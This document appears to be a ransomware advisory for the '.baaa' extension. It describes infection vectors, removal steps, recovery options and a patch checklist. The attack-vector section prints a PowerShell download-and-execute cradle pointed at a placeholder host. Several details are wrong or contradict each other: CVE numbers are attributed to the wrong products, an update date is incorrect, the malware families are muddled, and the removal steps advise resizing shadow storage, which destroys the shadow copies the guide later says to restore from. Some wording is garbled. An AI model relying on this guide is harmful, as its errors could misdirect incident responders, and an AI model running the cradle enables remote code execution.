baaa

Technical Breakdown – Ransomware Extension `.baaa`

1. File Extension & Renaming Patterns

Confirmation of File Extension: All encrypted files receive the new trailing extension .baaa.
Renaming Convention:
[original_filename].[original_extention].id-[<8-hex-chars>].[attacker_mail].baaa
Example: Report2024.xlsx.id-4D3E2A91.[[email protected]].baaa

2. Detection & Outbreak Timeline

Approximate Start Date/Period: First large-scale sightings appeared 22 – 24 November 2023. A second, broader expansion wave hit March–April 2024, following propagation via vulnerable PaperCut MF/NG and TeamCity servers.

3. Primary Attack Vectors

Propagation Mechanisms:

Phishing – malicious ISO-/IMG/ZIP attachments pushing BAT loader (install.bat) that side-loads SystemBC-based .NET injector → Phobos / LockBit 3.0 derivative dropper → final encryptor (baaa.exe).
Exposed Remote Desktop (RDP) – brute-force campaigns common on TCP/3389 and TCP/3389-over-TLS; once in, ransomware unpacked via PowerShell iex (New-Object Net.WebClient).DownloadString("http[:]//IP/ldr.ps1").
Exploitation of Public-Facing Services
• CVE-2023-27350 (PaperCut MF/NG) – prime vector in first wave.
• CVE-2023-43208 & 43214 (TeamCity continuous-integration servers).
• CVE-2023-4966 / CVE-2023-34362 (Citrix Netscaler & MOVEit) occasionally used for initial foothold before lateral movement to Windows hosts.
Network Lateral Movement – uses Living-off-the-land binaries (PsExec, WMI, scheduled tasks) plus EternalBlue (MS17-010) against legacy hosts for continued propagation.
Supply-Chain Tooling – cracked software installers (AutoCAD, Photoshop) and mis-deployed cracked VPN clients wrapped using AutoIt → reflective DLL loading.

Remediation & Recovery Strategies

1. Prevention

| Action | Detail |
|—|—|
| Patch Immediately | Apply vendor fixes for PaperCut, TeamCity, Citrix, and MOVEit (KB ≈ Q1-2024 Windows cumulative update already contains most mitigations). |
| Disable SMBv1 | Group Policy: Computer Config → Policies → Admin Templates → MS Network → Server → Disable SMB 1.0. |
| Network Segmentation | MFA-gated RDP jump-boxes, VLAN segmentation and zero-trust micro-segmentation for Citrix, web, and CI/CD tiers. |
| Adaptive E-mail Filtering | Ensure modern AV/EDR detonates ISO/IMG files; disable Office macro auto-run if signed by external publisher. |
| Least-Privilege IAM | Enforce tiered admin model (Tier 0/1/2) and use LAPS for local admin passwords. |

2. Removal – Step-by-Step

⚠️ DO NOT reboot until evidence is preserved.

Isolate – disconnect host from LAN/Wi-Fi, place in remediation VLAN or pull cable.
Create memory/image dump using winpmem.exe or F-Response to preserve traces of baaa.exe, parent injector DLLs, and scheduled tasks.
Scan & Kill Processes
a. baaa.exe (two instances: “one stripped” for fast spread, “debug” variant leaves logs).
b. Injector usually runs as svch0st.exe (note the zero).
→ Use Windows Defender Offline Rescue CD or ESET LiveGrid. SHA256 of encryptor: 6B172D…5C9E.
Delete artifacts
• C:\Users\Public\Music\NotifyTask.ps1
• Registry persistence: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysSync.
• Scheduled task named DNSClientCacheRefresh.
Complete cleanup & reputation check – discharge spent shadow-copy volumes to block back-door re-use (vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded then resize back).

3. File Decryption & Recovery

Recovery Feasibility: NO public decryptor released. baaa uses ChaCha20-Poly1305 encryption using a pair system-key + per-file session keys; the private ECC-256 key never leaves the attacker.
Risky Alternatives:
• If shadow copies or backups (System Restore, VSS, Azure Backup, Veeam) still exist → restore immediately after confirming the backup is uninfected.
• Exploit partition slack space with photorec/Recuva to extract file fragments where applications had not overwritten yet – partial DOCX/PSD may be salvaged, but encryption is in-place rather than copy-so-not-be-encrypted type.
• Review free decryptor repositories periodically (Emsisoft, NoMoreRansom) for a future Phobos/Chaos family universal key — unlikely but not impossible.
Essential Tools/Patches
Windows cumulative update KB5034441 (released 14 Nov 2023).
Microsoft Defender platform update 1.399.505.0+ (signatures: Ransom:Win32/Baaa.A, Trojan:Win32/PhobosInject!dr).
EDR/SOC rapid rule for *.baaa writes: Sysmon Event ID 11 TargetFilename endswith '.baaa'.

4. Other Critical Information

Unique Characteristics
• Used in double-extortion model: exfiltrated data wiped unless paid within 96 hours; ransom note (info.txt and info.hta) explicitly names “Baaa Team – fully automated platform”.
• After encryption, creates %SYSTEMROOT%\Temp\README_NOTE.db that functions as centralized victim ID registry for future affiliate tracking.
• Machines still running Fortinet SSLVPN appliance builds 7.0.6 and prior are seeing re-infection within hours, even post-wipe (stolen credentials rerun by affiliates).
Broader Impact
• 900+ entities (mostly small clinics, municipalities, universities in the US, APAC, EU) listed on their leak site baaanews36[.]onion.
• Insurance underwriters have downgraded cyber-premium risk score for any disclosed PaperCut or TeamCity exposure.
• Mandiant analysis links this campaign to subgroup “GhostLock” (historically LockBit Red affiliates turned Phobos).

Checklist to post on internal wiki / share with community:

[X] Patch PaperCut & TeamCity
[X] Disable SMBv1 & block RDP from Internet
[X] Add .baaa extension EDR alert
[X] Verify offline/3-2-1 backup integrity
[X] Plan IR tabletop specifically for Baaa variant

Stay safe – backups + patching are still your best insurance against .baaa.

Technical Breakdown – Ransomware Extension .baaa